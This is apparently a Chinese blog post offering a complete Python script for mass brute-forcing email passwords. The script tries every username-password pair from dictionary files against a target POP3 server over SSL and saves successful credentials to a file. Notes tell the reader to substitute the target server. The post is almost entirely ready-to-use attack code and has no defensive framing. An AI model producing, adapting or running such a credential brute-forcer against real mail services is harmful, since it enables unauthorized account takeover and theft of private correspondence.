首页 > 编程语言 >利用python脚本对邮箱密码进行批量爆破

利用python脚本对邮箱密码进行批量爆破

时间:2024-04-18 12:16:11浏览次数:25  
标签:登录 批量 邮箱地址 python pop 密码 邮箱 email

利用python脚本对邮箱密码进行批量爆破

import poplib  # 导入POP3库
from email import parser  # 导入邮件解析器
from getpass import getpass  # 导入密码输入函数

pop_server = 'mail.test.com'  # 设置POP3服务器地址,改成需要爆破的目标邮箱pop3服务器地址
pop_port = 995  # 设置POP3端口号,改成需要爆破的目标邮箱pop3服务器地址端口号

def check_email_login(email, password, server, port):
    try:
        # 连接到POP3服务器
        pop_conn = poplib.POP3_SSL(server, port)
        pop_conn.user(email)  # 使用用户名登录
        pop_conn.pass_(password)  # 使用密码登录

        # 获取邮箱消息
        num_messages = len(pop_conn.list()[1])  # 获取邮件数量
        print(f"登录成功! 您有 {num_messages} 封邮件.")

        # 关闭连接
        pop_conn.quit()
        return True  # 返回登录成功标志
    except Exception as e:
        print("登录失败:", e)  # 打印登录失败信息
        return False  # 返回登录失败标志

def main():
    with open("email_userlist.txt", "r") as f_emails:  # 打开邮箱地址列表文件,改成自己的邮箱用户字典文件名字
        email_addresses = f_emails.read().splitlines()  # 读取文件内容并按行划分为列表,改成自己的邮箱密码字典文件名字

    with open("email_passwdlist.txt", "r") as f_passwords:  # 打开密码字典文件
        passwords = f_passwords.read().splitlines()  # 读取文件内容并按行划分为列表

    successful_logins = []  # 初始化成功登录邮箱列表
    for email_address in email_addresses:  # 遍历邮箱地址列表
        for password in passwords:  # 遍历密码字典
            print(f"尝试登录邮箱地址:{email_address},密码:{password}")  # 打印尝试登录的邮箱地址和密码
            if check_email_login(email_address, password, pop_server, pop_port):  # 调用登录函数
                successful_logins.append((email_address, password))  # 如果登录成功,将邮箱地址和密码添加到成功登录列表中
                break  # 如果成功登录,跳出当前密码的循环

    if successful_logins:  # 如果有成功登录的邮箱
        with open("result.txt", "w") as f_result:  # 打开输出文件
            for email_address, password in successful_logins:  # 遍历成功登录的邮箱列表
                f_result.write(f"{email_address}:{password}\n")  # 将邮箱地址和密码写入文件中,并换行
        print("成功登录的邮箱地址和密码已写入result.txt文件中.")  # 提示成功写入文件
    else:
        print("没有成功登录的邮箱地址.")  # 提示没有成功登录的邮箱地址

if __name__ == "__main__":
    main()  # 执行主函数

 注意事项:

pop_server = 'mail.test.com'  # 设置POP3服务器地址,改成需要爆破的目标邮箱pop3服务器地址
pop_port = 995  # 设置POP3端口号,改成需要爆破的目标邮箱pop3服务器地址端口号

将“email_userlist.txt”和“email_passwdlist.txt” #改成自己的邮箱用户和密码字典文件名字,并放入到脚本同级目录下

 

标签:登录,批量,邮箱地址,python,pop,密码,邮箱,email
From: https://www.cnblogs.com/hkgan/p/18143230

相关文章

  • Python-统计和微积分研讨会(三)
    Python统计和微积分研讨会(三)原文:zh.annas-archive.org/md5/6cbaed7d834977b8ea96cc7aa6d8a083译者:飞龙协议:CCBY-NC-SA4.0第五章:用Python进行更多数学概述在本章结束时,你将能够掌握序列和级数的基本概念,并编写实现这些概念的Python函数。你将了解基本三角函数及其应......
  • 精通-Python-金融第二版(三)
    精通Python金融第二版(三)原文:zh.annas-archive.org/md5/8b046e39ce2c1a10ac13fd89834aaadc译者:飞龙协议:CCBY-NC-SA4.0第六章:时间序列数据的统计分析在金融投资组合中,其组成资产的回报取决于许多因素,如宏观和微观经济条件以及各种金融变量。随着因素数量的增加,建模投资组......
  • 精通-Python-网络编程第二版(五)
    精通Python网络编程第二版(五)原文:zh.annas-archive.org/md5/dda7e4d1dd78bc5577547014ce9b53d1译者:飞龙协议:CCBY-NC-SA4.0第十二章:使用Jenkins进行持续集成网络触及技术堆栈的每个部分;在我工作过的所有环境中,它总是一个零级服务。它是其他服务依赖的基础服务。在其他......
  • 精通-Python-网络安全(一)
    精通Python网络安全(一)原文:zh.annas-archive.org/md5/2fd2c4f6d02f5009e067781f7b1aee0c译者:飞龙协议:CCBY-NC-SA4.0前言最近,Python开始受到越来越多的关注,最新的Python更新添加了许多可用于执行关键任务的包。我们的主要目标是帮助您利用Python包来检测和利用漏洞,......
  • 对大量ip进行批量ping检测的python脚本
    对大量ip进行批量ping检测的python脚本importsubprocessdefping_host(host,is_windows):"""发送一个ping请求到指定的主机,并返回ping的结果。"""#根据操作系统类型选择ping命令和参数ifis_windows:params=['ping','-n',&......
  • Python量化交易系统实战--设计交易策略:选股策略
     作者:麦克煎蛋  出处:https://www.cnblogs.com/mazhiyong/转载请保留这段声明,谢谢! 这一节主要是了解基于“动量因子”的选股策略。动量因子指的是股票在一段周期内的涨跌幅度,其本质是追涨杀跌。而选股策略,指的是基于这个因子的表现进行股票筛选,以及买入、卖出的操作。该......
  • 使用Python实时监控服务系统资源
    使用Python实时监控服务系统资源本文介绍如何使用Python的psutil库和matplotlib库来实时监控服务系统资源(CPU、内存、磁盘和网络),并将监控数据以图形化报表的形式展示。第一步:安装必需库首先,我们需要安装所需的库。可以通过pip安装psutil和matplotlib:pipinstallpsutilmatplo......
  • Python 解决控制台输出颜色时出现乱码的问题 (windows平台)
    简介在python开发的过程中,经常会遇到需要打印各种信息。海量的信息堆砌在控制台中,就会导致信息都混在一起,降低了重要信息的可读性。这时候,如果能给重要的信息加上字体颜色,那么就会更加方便用户阅读了。当然了,控制台的展示效果有限,并不能像前段一样炫酷,只能做一些简单的设置。不......
  • 【python】使用r+模式先读后写和先写后读的区别
    最近学习python时,发现r+(读写)模式先读和先写,写入的位置不一致,经过测试发现:1、先写后读,写从文件开头开始写(覆盖原文),读从写入末尾开始读;2、先读后写,读从文件开头开始读,写从文件末尾开始写。点击查看代码'''test.txt#####随便写点啥######'''#先写后读withopen('test.txt......
  • 通过构建游戏学习-Python(四)
    通过构建游戏学习Python(四)原文:zh.annas-archive.org/md5/8d68d722c94aedcc91006ddf3f78c65a译者:飞龙协议:CCBY-NC-SA4.0第十一章:使用Pygame超越Turtle-使用Pygame制作贪吃蛇游戏UIPython游戏开发在某种程度上与pygame模块相关。到目前为止,我们已经学习了关于Py......